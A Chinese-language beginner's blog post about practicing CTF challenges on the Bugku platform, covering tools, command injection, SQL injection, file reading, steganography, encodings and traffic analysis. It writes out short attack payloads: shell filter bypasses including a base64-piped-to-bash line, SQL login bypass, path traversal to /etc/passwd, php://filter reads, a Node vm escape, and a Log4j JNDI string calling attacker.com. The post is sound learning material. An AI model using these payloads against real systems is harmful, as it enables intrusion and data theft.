从零开始的CTF记录:我如何在Bugku平台上刷完第一周
大概半年前我还分不清CTF和CF,现在已经在Bugku平台上刷了几十道题,拿过几次简单的flag。这篇不是什么大佬教学,纯粹是一个从零开始的小白记录,把我在Bugku上的刷题过程、踩过的坑、以及那些“当时要是有人告诉我该多好”的东西都写出来。如果你也是刚接触CTF,正愁不知道从哪里下手,这篇文章应该能帮你少走点弯路。
先交代下背景。我写代码有点基础,但没系统学过安全方向,对Web漏洞、渗透测试这些基本是道听途说。选Bugku作为入门平台,主要是看中它题目区分度做得比较好,从基础题到进阶题都有,而且Web方向题量充足,不像某些平台一上来就劝退。目前刷完的题集中在Web、MISC这两个方向,命令执行、SQL注入、文件读取这些题目做了不少,也顺手玩了几道隐写题。这篇记录会把我的做题思路、工具链、排错过程都摊开来讲,希望能帮到同样在起步阶段的你。
1. 最初的三件事:平台、工具、思维
1.1 为什么是Bugku而不是别的平台
CTF入门最大的门槛其实不是题目难,而是不知道该从哪里开始。市面上平台不少,但适合新手的真不多。Bugku最大的优点是它的Web题有明确的难度梯度,从“直接看源码就能找到flag”的签到题,到需要绕WAF的命令执行题,一层层递进,很适合用来建立做题的感觉。
我对比过几个常见平台的差异,大概是这样:Bugku的解析和社区氛围好,题解思路网上多,卡住了容易找到参考;但Bugku的题目环境相对朴素,没有太多“花活”,跟真实攻防场景有差距。其他平台如ctf.show题目更新快、题型新鲜,但难度波动大,新手容易被打击;polar CTF也有不少友好的上手题,但整体体量小一些。我的建议是:主线刷Bugku,跑通之后再拿其他平台的题目练手,相当于用Bugku打底子,再用别家查漏补缺。
1.2 新手装备:先从这几样工具开始
刚开始我犯了一个很典型的错误——到处找“最强工具包”,结果下载了一堆东西,真正用上的没几个。刷Bugku这段时间,真正高频使用的工具其实就那么几样:
- 浏览器开发者工具(F12):这不是工具,这是命。看源码、改请求、看网络面板,80%的入门Web题靠它就能解。
- HackBar(浏览器插件):用来手动构造和重放HTTP请求,改Cookie、改POST参数都很方便。
- Burp Suite Community版:抓包改包,比HackBar更底层,遇到需要反复修改请求的场景就得上它。
- 御剑/7kbscan这类目录扫描工具:用来扫网站的隐藏目录和备份文件,Bugku有不少题就是靠扫目录找到突破口。
- Python + requests库:有些题目需要写脚本跑,比如简单的暴力枚举、字符串处理、编码转换。
这里想多说一句工具选择的原则:不要贪多,每个方向精用一个就够。早期专注“能跑起来”而不是“全都要装”。尤其Burp Suite,新手经常卡在代理配置上,如果只是做Bugku的入门Web题,HackBar反而比Burp更顺手。
1.3 刷题前先调整的思维方式
这一点我觉得比任何工具都重要。做CTF题,尤其是Web方向,核心思维是“出题人想要我做什么”。每一道题都是出题人精心设计的,题目里的提示、响应里的异常、源码里的注释,都可能是解题的钥匙。
入门阶段最容易卡住的问题是“盯着一个点死磕”。举个例子,有一道命令执行题,我试了各种绕过方式都没用,最后发现是题目环境启动后需要等几十秒才能稳定访问,之前一直报错根本不是被拦截,而是服务没起来。这个教训让我养成了一个习惯:遇到问题先怀疑环境,再怀疑思路。
另一个重要的思维是“信息收集优先”。做题先看源码、看响应头、看Cookie,然后用目录扫描扫一圈,把能拿到的信息都拿到手再开始解题。很多题的入口就藏在源码注释里,或者藏在某个看似无用的页面里。磨刀不误砍柴工,这句话放在CTF里特别对。
2. 命令执行类题目的完整拆解
2.1 从一道“passthru”题说到命令执行原理
Bugku Web方向有一道经典的命令执行题,题目页面给了很大的输入框,标准解法是用passthru这个PHP函数来执行系统命令。我第一次看到这题时完全懵了,因为题目连源码都没给。后来翻了题解才知道,这题考察的是对PHP函数和命令执行漏洞的理解。
先说原理。在PHP里,有几组函数可以执行系统命令:system()、exec()、shell_exec()、`(反引号)、passthru()。它们的区别在于返回方式不同,system()直接输出结果,exec()只返回最后一行,passthru()直接输出原始返回内容且支持二进制数据。命令执行漏洞的成因,简单说就是程序把用户的输入直接拼接到系统命令里执行了,比如代码这么写:$cmd = $_GET['cmd']; system($cmd);,用户传什么就执行什么。
那道题给我的启发是:它把选项直接做成了函数选择框,选不同的函数执行不同的操作。这其实模拟的就是“代码里调用了某个命令执行函数,但没有过滤用户输入”的场景。小白最容易踩的坑是只知道system,不知道passthru,导致看到题面时认不出考点。所以学这块时,别只记函数名,要连返回机制、适用场景一起记,做题时才能快速匹配。
2.2 命令连接的几种姿势,连不连得上很重要
做命令执行题,除了要让目标执行命令,还得解决“怎么拼接”的问题。最常见的是用;、&&、||、|这些符号把我们的命令拼到原有的命令后面。假设后台执行的是ping -c 3 $ip,我们传入127.0.0.1; whoami,实际执行的就是ping -c 3 127.0.0.1; whoami,两条命令依次执行。
拿一个Bugku上的例子来说,题目先要求ping一个IP,然后返回了回显。我试着在IP后面加;ls,成了。这个过程的关键在于搞清楚后台到底是怎么拼接命令的:如果后台用空格分隔参数,那么用空格注入比用;更隐蔽;如果后台过滤了;,可以考虑%0a(换行符)、&&、|等替代。
这个环节有两个值得注意的细节。第一,命令执行的结果不一定会直接回显在页面上,如果没有回显,就需要通过curl把结果外带出来,或者用sleep做时间盲注。第二,有些题会过滤空格、过滤关键字,这时要用$IFS代替空格、用cat$IFS/etc/passwd这种方式绕过过滤。我在Bugku上遇到的一道题就是这样,cat、ls这些关键字全被过滤了,最后用c''at拼接的方式绕过了过滤。这种绕过方式看起来有点“皮”,但原理很简单:PHP在把命令交给系统执行前,会解析单引号,c''at和cat对Shell来说是同一个命令。
2.3 命令注入的绕过套路整理
刷了几道命令执行题之后,我把常见的绕过方式整理了一下,分成几类:
- 空格被过滤:用
$IFS、${IFS}、$IFS$9、Tab(%09)代替空格。 - 关键字被过滤:用单引号/双引号打断,如
c'a't /etc/passwd;用反斜杠打断,如c\at;用$@、$*等空变量拼接,如c$@at;用通配符,如/?in/cat。 - 命令分隔符被过滤:尝试
%0a、%00截断、$(command)替换、反引号执行。 - 黑名单过滤:尝试大小写混淆、十六进制编码、Base64编码后通过管道传给
bash执行。
这些方法不是背下来就完事,关键是要理解背后的原理——它们都是在利用Shell解析命令时的特性。比如$(command)是命令替换,Shell会先执行括号里的命令,再把结果作为外层命令的一部分;bash -c后面接Base64解码后的字符串,其实是为了绕过输入层的字符过滤,但到了Shell层已经变成了另一条命令。
我当时在Bugku刷到一道题,把cat、ls、flag这些词全过滤了,这个场景就是用bash+Base64绕过的经典例子。先在本地生成echo Y2F0IGZsYWcucGhwCg==|base64 -d|bash,再把整串作为参数传进去,成功读到了文件内容。这个思路本质上不是“绕过”,而是“换了一条执行路径”,理解到这一层之后,以后遇到再奇葩的过滤也能找到突破口。
3. SQL注入与文件读取的实战过程
3.1 Bugku SQL注入绕过登录题:从报错到登陆成功
SQL注入是Web题的主战场,Bugku上有一道很经典的“SQL注入绕过登录”题,我先是用万能密码' or '1'='1试了试,发现被拦截了。折腾了一会儿,最终是靠注释符和闭合方式的组合绕过的。
这类题的后台逻辑一般是这样的:SELECT * FROM users WHERE username='$user' AND password='$pass'。如果什么都不过滤,用户名处传入admin' or '1'='1' --,拼进SQL语句后就变成WHERE username='admin' or '1'='1' -- ' AND password='...',--把后面的密码判断注释掉,整条语句永远为真,直接登录。
Bugku这道题加了简单的过滤,拦截了or、and这些关键字。我当时用的办法是找替代等价写法,比如||可以替代or,&&可以替代and;如果空格被过滤,可以用注释符/**/代替。另外还要摸索闭合方式。后台SQL可能是'$user'、"$user"、($user)或者直接无引号,不同闭合方式对应的注入串完全不同,这也是SQL注入绕过的核心难点。
3.2 慢慢摸索注入点:报错回显和布尔盲注
登录绕过只是SQL注入的入门玩法,真正让人头疼的是那些没有回显的场景。Bugku上有一道文件读取的题就折磨了我很久,最后还是靠SQL注入报错回显拿到了数据。
SQL注入分类按回显方式大致有三种:联合注入(UNION SELECT)、报错注入、盲注(布尔盲注/时间盲注)。有回显时优先用联合注入,步骤是先判断列数,再用UNION SELECT把数据查出来;没有直接回显时,可以故意触发SQL报错,从报错信息里提取数据,这招叫报错注入,常用函数有updatexml()、extractvalue()、floor(rand(0)*2)等;再不行就用盲注,一次判断一个字符的真假。
Bugku这道文件读取题,其实是用load_file()函数配合SQL注入把服务器上的文件内容读出来。load_file('/etc/passwd')是MySQL读取文件的函数,如果当前数据库用户有FILE权限,就能把文件内容当作字符串返回到查询结果里。但前提是文件必须对MySQL进程可读,这是不少新手容易忽略的细节。我当时就卡在“文件路径不对”和“没有报错回显”这两个问题上,后来才发现是网站上存在一个隐藏参数,改掉参数后注入就通了。
3.3 文件读取与路径穿越:另一个常见Web考点
文件读取在Bugku的Web题里占比不低。这类题的核心考点是路径穿越和过滤绕过。路径穿越的基础payload是../../../../etc/passwd,利用的是..跳转目录的特性,但很多题目会过滤..,或者过滤/。
绕过过滤的思路一般有几类:如果过滤了../,试试....//(解析时....//会变成../,原理是第一次过滤把中间的../去掉了,剩下的../又被拼了起来);如果过滤了/,试试%2f、\或双重编码;有些后端还会拼接路径前缀,比如include("pages/".$_GET['file']),这时就要考虑从pages/目录跳出来。
我在Bugku上刷到的一道文件读取题,最终解法是把参数值改成php://filter/read=convert.base64-encode/resource=flag.php,通过PHP流协议直接读取文件内容。这里科普一下:php://filter是PHP内置的流过滤器,可以指定对文件内容做什么处理再返回。用convert.base64-encode是为了把源码转换成Base64输出,因为PHP文件直接包含的话会被当作代码执行,看不到源码,而Base64编码后就能把源码内容原封不动地暴露出来。这个技巧在做PHP代码审计类题目时几乎必用。
4. MISC方向的“降维打击”与编码速查
4.1 隐写题:藏在图片和文件里的flag
MISC(杂项)在CTF里属于“什么都有可能考”的方向,Bugku的MISC题里,图片隐写和编码转换占了很大比例。图片隐写的核心思路是:flag不一定在图片画面里,可能藏在图片文件的二进制数据里,也可能藏在图片像素的RGB值里。
最常用的工具是binwalk和strings。binwalk用来检测文件里是否嵌入了其他文件,比如一个看起来正常的PNG图片,里面可能藏着一个ZIP压缩包;strings则是直接查看文件里的可打印字符串,有时候flag就明文躺在里面。如果遇到图片打不开、内容异常的情况,要检查文件头是否正确——PNG文件头是89 50 4E 47,JPG是FF D8 FF,用010 Editor或Hex Fiend这类十六进制编辑器就能查看和修复文件头。
还有一类题是LSB隐写,把信息藏在图片像素的最低有效位里,肉眼完全看不出来。这时可以用zsteg(针对PNG/BMP)或StegSolve(图形化工具,可以查看图片的各个颜色平面)来提取。说实话,MISC题的难度不在技术,而在“你知不知道有这个套路”。知道套路后,刷题就是套模板的事。
4.2 编码类题目:从Base64到颜文字
MISC题里还很喜欢考编码转换。最常见的套路是给一串看起来乱七八糟的字符串,实际上经过多次编码嵌套,可能是Base64、Hex、URL编码、Unicode编码之间互相嵌套。我在Bugku上做过一道题,给了一长串字符,一眼看出是Base64,解出来又是一串看起来像Base64的东西,再解,再解……解了四层才拿到flag。
遇到这种题,最笨的办法是手动一层层解,但效率太低。我发现网上有个“随波逐流”CTF工具集,里面自带“多密码嵌套自动解密”功能,可以自动识别多层编码并一键解到底。不过工具归工具,我建议至少手动解两三次,搞清楚每一层是怎么变过来的,否则换个编码花样就容易抓瞎。
还有一些特殊编码,比如JSFuck(只有[]()!+组成的JavaScript代码)、颜文字编码、Brainfuck,这些在MISC或者Web前端题里偶尔出现。识别方法很简单:看到奇怪的符号组合,先用CTFcrack或者在线编码识别工具扫一遍,工具会告诉你这是什么编码,然后找对应的解码器。
4.3 流量分析题:从pcap文件里找线索
流量分析是MISC另一个高频考点,给一个.pcap抓包文件,让从中找出flag。Bugku上也有一道让我印象深刻的流量题,flag藏在HTTP请求的User-Agent里。
处理这类题的标准化流程是用Wireshark打开pcap文件,先看协议统计:在菜单栏点“统计—协议分级”,看看流量里主要是HTTP、DNS还是TCP。如果是HTTP流量,可以过滤http.request看看有哪些请求,逐个看URL参数和请求头;如果是DNS流量,注意看有没有特殊域名字段,有些恶意流量利用DNS隧道传输数据,flag就藏在子域名里。如果流量里有文件传输,可以用Wireshark的“导出HTTP对象”功能把文件导出来,然后继续走隐写题的路子。
我刷流量分析题的体会是:Wireshark不需要精通,但一定要会用过滤语法,比如http、dns、tcp.stream eq 0、ip.src == 192.168.1.1等等,这些够应付大部分题目。
5. 杂项与进阶:session、沙箱、框架漏洞
5.1 会话固定攻击在CTF里怎么玩
热词里有一个“ctf show session固定攻击”,这个属于Web题里比较偏门的知识点。session固定攻击的核心是:攻击者先自己获取一个合法的session ID,然后诱导受害者使用这个ID,这样受害者登录后,攻击者因为知道session ID就能直接冒充受害者。
CTF里怎么考这个呢?常见场景是登录页面不会重新生成session ID,攻击者可以通过URL参数、Cookie注入等方式把session ID“固定”下来。解题思路一般是:先看登录成功后服务端有没有下发新的Cookie,如果没有重新下发,那这个站点就存在session固定攻击的可能。然后想办法获取当前session的值,或者通过XSS把session值打到自己的服务器上,再带上这个值去访问目标。
不过说句实话,这类题在入门平台出现频率不算高,更像进阶方向。我的建议是先搞清楚cookie、session、token三者的区别,再做这类题会清晰很多。我自己一开始完全分不清Cookie和Session,刷了几道题之后才明白:Cookie是存在客户端的数据,Session是存在服务端的数据,Session ID通常放在Cookie里作为两者的关联凭证。
5.2 Node.js沙箱逃逸:VM模块的坑
热词里有个“ctf node vm沙箱”,这又是一个进阶考点。简单说,像vm.runInNewContext()这类Node.js沙箱,本来是用来创建隔离环境运行代码的,但它并不安全,可以通过this.constructor.constructor('return process')()这种原型链跳转的方式逃出来,拿到外部的全局对象,最终达到命令执行的效果。
这个考点Bugku上有没有我不太确定,但它在其他平台很常见。我分享这个是因为很多Web方向的新手会觉得“JavaScript安全”离自己很远。实际上,Node.js服务端的安全问题(原型链污染、沙箱逃逸、反序列化)在CTF里出现频率越来越高。如果你后面想往Web进阶方向走,这些知识点迟早要学。入门阶段看到不认识的考点,先记录下来,不用急着一口吃透,但至少知道“有这个坑存在”。
5.3 框架漏洞:从Log4j2到更广义的RCE
Bugku相关的热词里有“apache log4j2 rce”,这是个真实世界的大漏洞。Log4j2是一个Java日志库,它支持查找(Lookup)功能,允许在日志消息里用${...}表达式引用外部变量,结果被恶意利用,只要日志里出现${jndi:ldap://attacker.com/a},就会触发JNDI注入,在某些条件下可以远程命令执行。
CTF平台一般不会直接出这么硬的题去难为新手,但渗透测试方向的题目会模拟类似的漏洞利用场景。我建议新手先不用追求复现这类复杂漏洞,但可以了解一下RCE漏洞的利用链是怎么构成的:入口(哪里能传输入)→ 触发点(漏洞函数)→ 利用链(怎么把输入变成命令执行)。这个思维模型放在任何RCE题目里都适用。
6. 刷题方法论:怎么把Bugku用透
6.1 建立自己的解题笔记和模板
刷题刷到一定量,最怕的是“做过就忘”。我见过不少人刷了几十题,回头再做还是不会。很重要的原因是没有把解题过程内化成自己的东西。我自己的做法是每做完一道题就写一份解题记录,格式固定:题目链接、考点、解题过程、flag、学到了什么、还有没有其他解法。
这套笔记的用途在后来刷题时完全体现出来了——遇到类似考点,直接翻笔记查之前的思路,省去了大量重复摸索的时间。而且写笔记这个动作本身就是在逼你重新梳理思路,理清那些“当时碰巧做出来但没真懂”的地方。Bugku的题量够大,题型覆盖面也广,非常适合这种“题海战术+笔记沉淀”的刷法。
6.2 常用工具链推荐和避坑
汇总一下我刷Bugku过程中积累的工具链,按使用频率排列:
| 工具类别 | 常用工具 | 适用场景 | 避坑提示 |
|---|---|---|---|
| 流量抓包 | Burp Suite Community | 改请求、重放、爆破 | 记得配好代理,安装CA证书,否则抓不到HTTPS流量 |
| 目录扫描 | 御剑/7kbscan | 扫后台、扫备份文件 | 字典要选对,经典字典扫不出时髦路径 |
| 编码解码 | 随波逐流CTF工具 | 多层嵌套编码自动解 | 别依赖,先手动解几遍理解原理 |
| 隐写分析 | binwalk、zsteg | 检测隐藏文件、LSB隐写 | binwalk跑完记得用dd或foremost提取文件 |
| 十六进制 | 010 Editor | 修复文件头、查看二进制 | 用HxD免费版也够用 |
| 综合工具 | CTFd/CTFcrack | 编码识别、题目辅助 | 站在巨人肩膀上,但别被工具喂成“只会点按钮” |
工具链的使用原则还是那句:先懂原理再用工具。比如目录扫描工具,如果不理解字典匹配、状态码判断这些基础概念,看到结果也不知道哪些是有用的。我在初学时就有过很尴尬的经历——扫出来一个200状态码的路径,兴冲冲打开,结果是个404页面,白高兴一场。
6.3 以赛代练:从训练平台到真实比赛
Bugku这类平台的最大价值是帮你建立安全感:题目就是让练手的,不会有真实攻击的法律风险,也不会有生产环境崩了要背锅的压力。但你不可能永远在训练场里练习,最终还是要往真实比赛走一步。
我的建议是,刷完Bugku Web基础题之后,可以尝试参加一些小型CTF线上赛。第一次参赛基本是陪跑,这很正常,别灰心。我第一场比赛连题目页面都加载不出来,后来才知道是网络波动。参加真实比赛的关键收获不是拿名次,而是体验真实比赛的节奏:题目难度分布不均、队友分工、专注力分配、时间管理,这些东西在训练平台上练不出来。
7. 常见问题速查与避坑手册
7.1 新手最容易踩的8个坑
按我个人的踩坑经历排序:
- 不看源码做题。F12键按烂也要先看,很多题入口就在源码注释里。
- 忽略响应头。Bugku有些题的提示信息放在响应头的自定义字段里。
- 环境挂了不知道。题目页面报错、连接超时,先怀疑平台环境,再怀疑自己思路。我在Bugku就遇到过题目环境需要等一会儿才初始化好的情况。
- 不会用Burp代理。新手用Burp经常卡在这,记得在浏览器里配置好代理地址和端口,并安装CA证书。
- 把鼠标当手。能在地址栏手写的payload,非要用工具GUI点点点,效率极低。
- 拿到题就做题。信息收集不充分就开始动手,经常绕了一大圈发现入口写在源码里。
- 只做Web不碰其他方向。MISC里的编码和隐写题其实更简单,适当做几道能增强信心。
- 做完题不复盘。不写笔记、不总结,刷了等于没刷。
7.2 常见报错信息怎么看
刷题过程中遇到报错,不要慌,这些提示往往在告诉你答案。
| 报错信息 | 可能原因 | 排查方向 |
|---|---|---|
Warning: system() has been disabled | 命令执行函数被禁用 | 换用其他函数如passthru、shell_exec |
Access denied for user | 数据库权限不足 | 换低权限操作或寻找其他注入点 |
File not found | 路径不对或被过滤 | 检查路径穿越层级、尝试编码绕过 |
500 Internal Server Error | 服务端代码报错 | 尝试触发报错回显,提取错误信息 |
Nginx 404 | 路径不存在 | 先扫目录,看是不是漏了入口 |
这里特别说一下“命令执行函数被禁用”这种情况。我在Bugku的一道题里遇到PHP配置里禁用了system、exec,但passthru没被禁用,这就是为什么我前面强调要熟悉多个命令执行函数的返回差异。如果所有常用函数都被禁用了,还能不能执行命令?有个思路是配合文件上传:把一句话木马(PHP代码)先传上去,再用文件包含漏洞去包含它,间接执行代码。不过这个操作在Bugku平台上是合法CTF题目练习,千万别在真实系统上这么干。
7.3 如何高效地“查题解”
刷题卡住查题解是正常操作,但这里有个方法论问题:怎么查题解才能进步最快。
我给自己定的规矩是“三步走”:第一步,卡住后先自己再试15分钟,如果还是没思路,才考虑查题解;第二步,查题解时先看答案的“关键提示”,不要直接看完整的writeup,尽量靠这个提示自己走通;第三步,完整看题解后,对照自己的笔记,看看是哪一步没想到,记录成“认知盲区”。
具体到Bugku的题解,它的写法通常是把flag直接附在后面,所以如果你只是想要答案,很轻松就能拿到。但如果永远只是看答案,那刷题就变成了“抄答案”,除了增加一点浏览器的历史记录,什么都不会留下。我在刷Bugku的过程中有一个很大的体会:被卡住不可怕,可怕的是卡住之后直接看答案然后觉得“哦原来如此”,关掉页面就忘了。把卡住的地方当成题目的一部分去破解,收获会大得多。
8. 写在最后的几句唠叨:下一步往哪走
刷了这么多题之后,我对CTF有了和刚开始完全不同的理解。入门阶段最好的策略不是追求“全”,而是先在一个方向上做到“通”:把Web方向的基础题型都见过、思路都理清了,再横向拓展到MISC、Crypto等方向,后面学起来会快很多。我就是在Bugku的Web题刷到比较顺手之后,回头去做MISC题,感觉难度一下降了不少——因为MISC更依赖工具和套路,而Web打下的逻辑分析能力是可以迁移的。
后面我还打算在Bugku上继续刷Reverse和PWN方向的入门题,虽然这两块对我来说很难,但我觉得先把Web和MISC的基础打牢,再横向铺开,这条路子是走得通的。如果你也在菜鸟阶段,欢迎一起交流,我踩过的坑希望能成为你省下的时间。慢慢来,比较快。